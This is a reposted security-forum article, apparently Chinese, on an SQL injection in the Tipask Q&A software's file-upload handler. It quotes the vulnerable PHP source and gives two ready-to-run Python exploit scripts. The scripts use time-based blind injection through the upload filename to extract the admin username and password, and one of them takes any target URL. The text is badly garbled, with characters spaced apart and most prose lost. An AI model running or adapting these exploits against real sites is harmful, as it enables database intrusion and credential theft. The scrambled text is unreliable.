[26585] 2016-05-20_tipask注入漏洞分析(附exp)

文档创建者:s7ckTeam
浏览次数:17
最后更新:2025-01-19
2016-05-20_tipask注入漏洞分析(附exp) t i p a s k ( e x p ) m O o n   m o o n s e c   2 0 1 6 - 0 5 - 2 0 t i p a s k ( e x p ) p s       5 2 p y t i p a s k h t t p : / / w w w . 5 2 p y . o r g / f o r u m . p h p ? m o d = v i e w t h r e a d & t i d = 1 2 6 8 l c y e x p # e n c o d i n g = u t f - 8 # t i p a s k i m p o r t   r e q u e s t s # u r l   =   " h t t p : / / h e l p . t i p a s k . c o m " l e n g t h   =   0 u s e r   =   " " w h i l e   T r u e :         l e n g t h   =     l e n g t h   +   1         l   =   " ( s e l e c t   i f ( l e n g t h ( ( s e l e c t   c o n c a t ( u s e r n a m e , 0 x 3 a , p a s s w o r d )   f r o m   a s k _ u s e r   l i m i t   1 ) )   =   % s , s l e e p ( 3 ) , 0 ) ) "   %   l e n g t h         t r y :                 d a t a   =   { ' u p f i l e ' :   ( " 1 ' , ' . p h p ' , 1 , " +   l   + ' , 2 , 1 ) # . t x t ' ,   " 1 1 1 1 1 1 1 1 1 1 1 1 1 " ) }                 r   =   r e q u e s t s . p o s t ( u r l   +   " / ? a t t a c h / u p l o a d " , f i l e s = d a t a , t i m e o u t = 3 )                 p r i n t   l e n g t h ,         e x c e p t :                 b r e a k p r i n t   " n [ + ] l e n g t h : " , l e n g t h p a y l o a d s = ' a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 . : , # @ ' f o r   i   i n   r a n g e ( 1 , l e n g t h   +   1 ) :         f o r   p a y l o a d   i n   l i s t ( p a y l o a d s ) :                 t r y :                         s q l s   =   " ( s e l e c t   i f ( o r d ( m i d ( ( s e l e c t   c o n c a t ( u s e r n a m e , 0 x 3 a , p a s s w o r d )   f r o m   a s k _ u s e r   l i m i t   1 ) , % s , 1 ) ) = % s , s l e e p ( 2 ) , 0 ) ) "   %   ( i , o r d ( p a y l o a d ) )                         d a t a   =   { ' u p f i l e ' :   ( " 1 ' , ' . p h p ' , 1 , " +   s q l s   + ' , 2 , 1 ) # . t x t ' ,   " 1 1 1 1 1 1 1 1 1 1 1 1 1 " ) }                         r   =   r e q u e s t s . p o s t ( u r l   +   " / ? a t t a c h / u p l o a d " , f i l e s = d a t a , t i m e o u t = 2 )                         p r i n t   " . " ,                 e x c e p t :                                 u s e r   + =   p a y l o a d
                                p r i n t   ' n [ + ] ' , u s e r                                 b r e a k p r i n t   u s e r   h t t p : / / w w w . t i p a s k . c o m / d o w n l o a d / T i p a s k _ v 2 . 5 _ U T F 8 _ 2 0 1 4 0 6 0 6 . z i p   e x p   e x p 使 m y s q l   l o g - e r r o r = " c : / m y s q l _ e r r o r . l o g " l o g = " c : / m y s q l . l o g " I N S E R T   I N T O   a s k _ a t t a c h ( t i m e , f i l e n a m e , f i l e t y p e , f i l e s i z e , l o c a t i o n , i s i m a g e , u i d )     V A L U E S   ( 1 4 6 3 5 5 0 8 5 7 , ' 1 ' , ' . p h p ' , 1 , ( s e l e c t   i f ( l e n g t h ( ( s e l e c t c o n c a t ( u s e r n a m e , 0 x 3 a , p a s s w o r d )   f r o m   a s k _ u s e r   l i m i t   1 ) )   =   4 , s l e e p ( 3 ) , 0 ) ) , 2 , 1 ) # . t x t ' , ' . t x t ' , ' 1 3 ' , ' d a t a / a t t a c h / 1 6 0 5 / k B 4 O K w J O . t x t ' , 0 , 0 ) a t t a c h . c l a s s . p h p < ? p h p ! d e f i n e d ( ' I N _ T I P A S K ' )   & &   e x i t ( ' A c c e s s   D e n i e d ' ) ; c l a s s   a t t a c h m o d e l   {         v a r   $ d b ;         v a r   $ b a s e ;         f u n c t i o n   a t t a c h m o d e l ( & $ b a s e )   {                 $ t h i s - > b a s e   =   $ b a s e ;                 $ t h i s - > d b   =   $ b a s e - > d b ;         }         f u n c t i o n   m o v e t m p f i l e ( $ a t t a c h , $ t a r g e t f i l e )   {                 f o r c e m k d i r ( d i r n a m e ( $ t a r g e t f i l e ) ) ;                 i f ( c o p y ( $ a t t a c h [ ' t m p _ n a m e ' ] , $ t a r g e t f i l e )   | |   m o v e _ u p l o a d e d _ f i l e ( $ a t t a c h [ ' t m p _ n a m e ' ] , $ t a r g e t f i l e ) )   {                         r e t u r n   1 ;
                }                 i f (   i s _ r e a d a b l e ( $ a t t a c h [ ' t m p _ n a m e ' ] ) )   {                         $ f p   =   f o p e n ( $ a t t a c h [ ' t m p _ n a m e ' ] ,   ' r b ' ) ;                         f l o c k ( $ f p ,   2 ) ;                         $ a t t a c h e d f i l e   =   f r e a d ( $ f p ,   $ a t t a c h [ ' s i z e ' ] ) ;                         f c l o s e ( $ f p ) ;                         $ f p   =   f o p e n ( $ t a r g e t f i l e ,   ' w b ' ) ;                         f l o c k ( $ f p , 2 ) ;                         i f ( f w r i t e ( $ f p ,   $ a t t a c h e d f i l e ) )   {                                 u n l i n k ( $ a t t a c h [ ' t m p _ n a m e ' ] ) ;                         }                         f c l o s e ( $ f p ) ;                         r e t u r n   1 ;                 }                 r e t u r n   0 ;         }         f u n c t i o n   a d d ( $ f i l e n a m e , $ f t y p e , $ f s i z e , $ l o c a t i o n , $ i s i m a g e = 1 )   {                 $ u i d = $ t h i s - > b a s e - > u s e r [ ' u i d ' ] ;                 $ t h i s - > d b - > q u e r y ( " I N S E R T   I N T O   " . D B _ T A B L E P R E . " a t t a c h ( t i m e , f i l e n a m e , f i l e t y p e , f i l e s i z e , l o c a t i o n , i s i m a g e , u i d )     V A L U E S   ( { $ t h i s - > b a s e - > t i m e } , ' $ f i l e n a m e ' , ' $ f t y p e ' , ' $ f s i z e ' , ' $ l o c a t i o n ' , $ i s i m a g e , $ u i d ) " ) ;                 r e t u r n   $ t h i s - > d b - > i n s e r t _ i d ( ) ;         } } ? >   a d d   a t t a c h . p h p < ? p h p ! d e f i n e d ( ' I N _ T I P A S K ' )   & &   e x i t ( ' A c c e s s   D e n i e d ' ) ; c l a s s   a t t a c h c o n t r o l   e x t e n d s   b a s e   {         f u n c t i o n   a t t a c h c o n t r o l ( &   $ g e t ,   &   $ p o s t )   {                 $ t h i s - > b a s e ( $ g e t ,   $ p o s t ) ;                 $ t h i s - > l o a d ( ' a t t a c h ' ) ;         }         f u n c t i o n   o n u p l o a d ( )   {                 / /                 $ c o n f i g   =   a r r a y (
                        " u p l o a d P a t h "   = >   " d a t a / a t t a c h / " ,   / /                         " f i l e T y p e "   = >   a r r a y ( " . r a r " ,   " . d o c " ,   " . d o c x " ,   " . z i p " ,   " . p d f " ,   " . t x t " ,   " . s w f " ,   " . w m v " ,   " x s l " ) ,   / /                         " f i l e S i z e "   = >   1 0   / / M B                 ) ; / / , S U C C E S S                 $ s t a t e   =   " S U C C E S S " ;                 $ c l i e n t F i l e   =   $ _ F I L E S [ " u p f i l e " ] ;                 i f   ( ! i s s e t ( $ c l i e n t F i l e ) )   {                         e c h o   " { ' s t a t e ' : ' ' , ' u r l ' : ' n u l l ' , ' f i l e T y p e ' : ' n u l l ' } " ;   / / p h p . i n i u p l o a d _ m a x _ f i l e s i z e p o s t _ m a x _ s i z e                         e x i t ;                 } / /                 $ c u r r e n t _ t y p e   =   s t r t o l o w e r ( s t r r c h r ( $ c l i e n t F i l e [ " n a m e " ] ,   ' . ' ) ) ;                 i f   ( ! i n _ a r r a y ( $ c u r r e n t _ t y p e ,   $ c o n f i g [ ' f i l e T y p e ' ] ) )   {                         $ s t a t e   =   " " ;                 } / /                 $ f i l e _ s i z e   =   1 0 2 4   *   1 0 2 4   *   $ c o n f i g [ ' f i l e S i z e ' ] ;                 i f   ( $ c l i e n t F i l e [ " s i z e " ]   >   $ f i l e _ s i z e )   {                         $ s t a t e   =   " " ;                 } / /                 i f   ( $ s t a t e   = =   " S U C C E S S " )   {                         $ t a r g e t f i l e   =   $ c o n f i g [ ' u p l o a d P a t h ' ]   .   g m d a t e ( ' y m ' ,   $ t h i s - > t i m e )   .   ' / '   .   r a n d o m ( 8 )   .   s t r r c h r ( $ c l i e n t F i l e [ " n a m e " ] ,   ' . ' ) ;                         $ r e s u l t   =   $ _ E N V [ ' a t t a c h ' ] - > m o v e t m p f i l e ( $ c l i e n t F i l e ,   $ t a r g e t f i l e ) ;                         i f   ( ! $ r e s u l t )   {                                 $ s t a t e   =   " " ;                         }   e l s e   {                                 $ _ E N V [ ' a t t a c h ' ] - > a d d ( $ c l i e n t F i l e [ " n a m e " ] ,   $ c u r r e n t _ t y p e ,   $ c l i e n t F i l e [ " s i z e " ] ,   $ t a r g e t f i l e ,   0 ) ;                         }                 } / / j s o n                 e c h o   ' { " s t a t e " : " '   .   $ s t a t e   .   ' " , " u r l " : " '   .   $ t a r g e t f i l e   .   ' " , " f i l e T y p e " : " '   .   $ c u r r e n t _ t y p e   .   ' " , " o r i g i n a l " : " '   .   $ c l i e n t F i l e [ " n a m e " ]   .   ' " } ' ;         }         f u n c t i o n   o n u p l o a d i m a g e ( )   {                 / /                 $ c o n f i g   =   a r r a y (                         " u p l o a d P a t h "   = >   " d a t a / a t t a c h / " ,   / /                         " f i l e T y p e "   = >   a r r a y ( " . g i f " ,   " . p n g " ,   " . j p g " ,   " . j p e g " ,   " . b m p " ) ,                         " f i l e S i z e "   = >   2 0 4 8                 ) ;
                / /                 $ o r i N a m e   =   h t m l s p e c i a l c h a r s ( $ t h i s - > p o s t [ ' f i l e N a m e ' ] ,   E N T _ Q U O T E S ) ;                 / /                 $ t i t l e   =   h t m l s p e c i a l c h a r s ( $ t h i s - > p o s t [ ' p i c t i t l e ' ] ,   E N T _ Q U O T E S ) ;                 / /                 $ f i l e   =   $ _ F I L E S [ " u p f i l e " ] ;                 / / , S U C C E S S                 $ s t a t e   =   " S U C C E S S " ;                 / /                 $ c u r r e n t _ t y p e   =   s t r t o l o w e r ( s t r r c h r ( $ f i l e [ " n a m e " ] ,   ' . ' ) ) ;                 i f   ( ! i n _ a r r a y ( $ c u r r e n t _ t y p e ,   $ c o n f i g [ ' f i l e T y p e ' ] ) )   {                         $ s t a t e   =   $ c u r r e n t _ t y p e ;                 }                 / /                 $ f i l e _ s i z e   =   1 0 2 4   *   $ c o n f i g [ ' f i l e S i z e ' ] ;                 i f   ( $ f i l e [ " s i z e " ]   >   $ f i l e _ s i z e )   {                         $ s t a t e   =   " b " ;                 }                 / /                 i f   ( $ s t a t e   = =   " S U C C E S S " )   {                         $ t a r g e t f i l e   =   $ c o n f i g [ ' u p l o a d P a t h ' ]   .   g m d a t e ( ' y m ' ,   $ t h i s - > t i m e )   .   ' / '   .   r a n d o m ( 8 )   .   s t r r c h r ( $ f i l e [ " n a m e " ] ,   ' . ' ) ;                         $ r e s u l t   =   $ _ E N V [ ' a t t a c h ' ] - > m o v e t m p f i l e ( $ f i l e ,   $ t a r g e t f i l e ) ;                         i f   ( ! $ r e s u l t )   {                                 $ s t a t e   =   " c " ;                         }   e l s e   {                                 $ _ E N V [ ' a t t a c h ' ] - > a d d ( $ f i l e [ " n a m e " ] ,   $ c u r r e n t _ t y p e ,   $ f i l e [ " s i z e " ] ,   $ t a r g e t f i l e ) ;                         }                 }                 e c h o   " { ' u r l ' : ' "   .   $ t a r g e t f i l e   .   " ' , ' t i t l e ' : ' "   .   $ t i t l e   .   " ' , ' o r i g i n a l ' : ' "   .   $ o r i N a m e   .   " ' , ' s t a t e ' : ' "   .   $ s t a t e   .   " ' } " ;         } } ? > $ _ F I L E S     t i p a s k . c l a s s . p h p   f u n c t i o n   i n i t _ r e q u e s t ( )   {
                i f   ( ! f i l e _ e x i s t s ( T I P A S K _ R O O T   .   ' / d a t a / i n s t a l l . l o c k ' ) )   {                         h e a d e r ( ' l o c a t i o n : i n s t a l l / i n d e x . p h p ' ) ;                         e x i t ( ) ;                 }                 r e q u i r e   T I P A S K _ R O O T   .   ' / c o n f i g . p h p ' ;                 h e a d e r ( ' C o n t e n t - t y p e :   t e x t / h t m l ;   c h a r s e t = '   .   T I P A S K _ C H A R S E T ) ;                 $ q u e r y s t r i n g   =   i s s e t ( $ _ S E R V E R [ ' Q U E R Y _ S T R I N G ' ] )   ?   $ _ S E R V E R [ ' Q U E R Y _ S T R I N G ' ]   :   ' ' ;                 $ p o s   =   s t r r p o s ( $ q u e r y s t r i n g ,   ' . ' ) ;                 i f   ( $ p o s   ! = =   f a l s e )   {                         $ q u e r y s t r i n g   =   s u b s t r ( $ q u e r y s t r i n g ,   0 ,   $ p o s ) ;                 }                 / *   u r l   * /                 $ p o s   =   s t r p o s ( $ q u e r y s t r i n g ,   ' - ' ) ;                 ( $ p o s   ! = =   f a l s e )   & &   $ q u e r y s t r i n g   =   u r l m a p ( $ q u e r y s t r i n g ) ;                 $ a n d p o s   =   s t r p o s ( $ q u e r y s t r i n g ,   " & " ) ;                 $ a n d p o s   & &   $ q u e r y s t r i n g   =   s u b s t r ( $ q u e r y s t r i n g ,   0 ,   $ a n d p o s ) ;                 $ t h i s - > g e t   =   e x p l o d e ( ' / ' ,   $ q u e r y s t r i n g ) ;                 i f   ( e m p t y ( $ t h i s - > g e t [ 0 ] ) )   {                         $ t h i s - > g e t [ 0 ]   =   ' i n d e x ' ;                 }                 i f   ( e m p t y ( $ t h i s - > g e t [ 1 ] ) )   {                         $ t h i s - > g e t [ 1 ]   =   ' d e f a u l t ' ;                 }                 i f   ( c o u n t ( $ t h i s - > g e t )   <   2 )   {                         e x i t ( '   A c c e s s   D e n i e d   ! ' ) ;                 }                 u n s e t ( $ G L O B A L S ,   $ _ E N V ,   $ H T T P _ G E T _ V A R S ,   $ H T T P _ P O S T _ V A R S ,   $ H T T P _ C O O K I E _ V A R S ,   $ H T T P _ S E R V E R _ V A R S ,   $ H T T P _ E N V _ V A R S ) ;                 $ t h i s - > g e t   =   t a d d s l a s h e s ( $ t h i s - > g e t ,   1 ) ;                 $ t h i s - > p o s t   =   t a d d s l a s h e s ( a r r a y _ m e r g e ( $ _ G E T ,   $ _ P O S T ) ) ;                 c h e c k a t t a c k ( $ t h i s - > p o s t ,   ' p o s t ' ) ;                 c h e c k a t t a c k ( $ t h i s - > g e t ,   ' g e t ' ) ;                 u n s e t ( $ _ P O S T ) ;         } g l o b a l . f u n c . p h p t a d d s l a s h e s f u n c t i o n   t a d d s l a s h e s ( $ s t r i n g ,   $ f o r c e   =   0 )   {         i f   ( ! M A G I C _ Q U O T E S _ G P C   | |   $ f o r c e )   {                 i f   ( i s _ a r r a y ( $ s t r i n g ) )   {                         f o r e a c h   ( $ s t r i n g   a s   $ k e y   = >   $ v a l )   {                                 $ s t r i n g [ $ k e y ]   =   t a d d s l a s h e s ( $ v a l ,   $ f o r c e ) ;                         }
                }   e l s e   {                         $ s t r i n g   =   a d d s l a s h e s ( $ s t r i n g ) ;                 }         }         r e t u r n   $ s t r i n g ; }     p a y l o a d       e x p   e x p   线 # - * -   c o d i n g :   u t f - 8   - * - i m p o r t   r e q u e s t s i m p o r t   t h r e a d i n g i m p o r t   Q u e u e i m p o r t   s y s ,   o s q u e u e = Q u e u e . Q u e u e ( ) d e f   g e t l e n g t h ( u r l ) :         i = 0         w h i l e   T r u e :                 t r y :                         i = i + 1                         s q l = " m o o n ' , ( s e l e c t   i f ( l e n g t h ( ( s e l e c t   c o n c a t ( u s e r n a m e , 0 x 3 a , p a s s w o r d )   f r o m   a s k _ u s e r   l i m i t   1 ) )   =   % s , s l e e p ( 1 0 ) , 0 ) ) , ' 6 0 ' , ' m o o n ' , 0 , 0 ) # . t x t "   %   i                         d a t a   =   { ' u p f i l e ' :   ( s q l ,   " s b " ) }                         r = r e q u e s t s . p o s t ( u r l = u r l + " / ? a t t a c h / u p l o a d " , f i l e s = d a t a , t i m e o u t = 4 )                           p r i n t   i ,                 e x c e p t :                         b r e a k                         p r i n t   " n [ + ] l e n g t h : % d "   %   i
        r e t u r n   i c l a s s   m y t h r e a d ( t h r e a d i n g . T h r e a d ) :         d e f   _ _ i n i t _ _ ( s e l f , q u e u e , u r l ) :                 t h r e a d i n g . T h r e a d . _ _ i n i t _ _ ( s e l f )                 s e l f . q u e u e = q u e u e                 s e l f . u r l = u r l                                                         d e f   r u n ( s e l f ) :                 p a s s w o r d = " "                 w h i l e   T r u e :                         i n j = s e l f . q u e u e . g e t ( )                         t r y :                                                                                 p a y l o a d s = ' a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 . : , # @ '                                 f o r   p a y l o a d   i n   l i s t ( p a y l o a d s ) :                                         s q l s   =   " m o o n ' , ( s e l e c t   i f ( o r d ( m i d ( ( s e l e c t   c o n c a t ( u s e r n a m e , 0 x 3 a , p a s s w o r d )   f r o m   a s k _ u s e r   l i m i t   1 ) , % d , 1 ) ) = % s , s l e e p ( 6 ) , 0 ) ) , ' 6 0 ' , ' m o o n ' , 0 , 0 ) # . t x t "   %   ( i n j , o r d ( p a y l o a d ) )                                         d a t a   =   { ' u p f i l e ' :   ( s q l s ,   " s b " ) }                                         r = r e q u e s t s . p o s t ( u r l = s y s . a r g v [ 1 ] + " / ? a t t a c h / u p l o a d " , f i l e s = d a t a , t i m e o u t = 6 )                           e x c e p t :                                 p r i n t   p a y l o a d ,                                 p a s s w o r d + = p a y l o a d                                                                                 p r i n t   ' n [ + ] ' , p a s s w o r d                         s e l f . q u e u e . t a s k _ d o n e ( )                 p r i n t   ' n [ + ] ' , p a s s w o r d i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :                 i f   l e n ( s y s . a r g v )   <   2 :
                  p r i n t   ' p y t h o n   m y t i p a s k . p y   h t t p : / / w w w . m o o n s e c . c o m / '                   s y s . e x i t ( )         e l s e :                 m o o n = g e t l e n g t h ( s y s . a r g v [ 1 ] )   f o r   i   i n   r a n g e ( 1 ) :         s c a n   =   m y t h r e a d ( q u e u e , s y s . a r g v [ 1 ] )         s c a n . s e t D a e m o n ( T r u e )         s c a n . s t a r t ( ) f o r   j   i n   r a n g e ( 1 , m o o n ) :         q u e u e . p u t ( j )         q u e u e . j o i n ( ) p r i n t   " n [ + ] E n d "
  h t t p : / / p a n . b a i d u . c o m / s / 1 c I 9 l S U   n i s j        
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则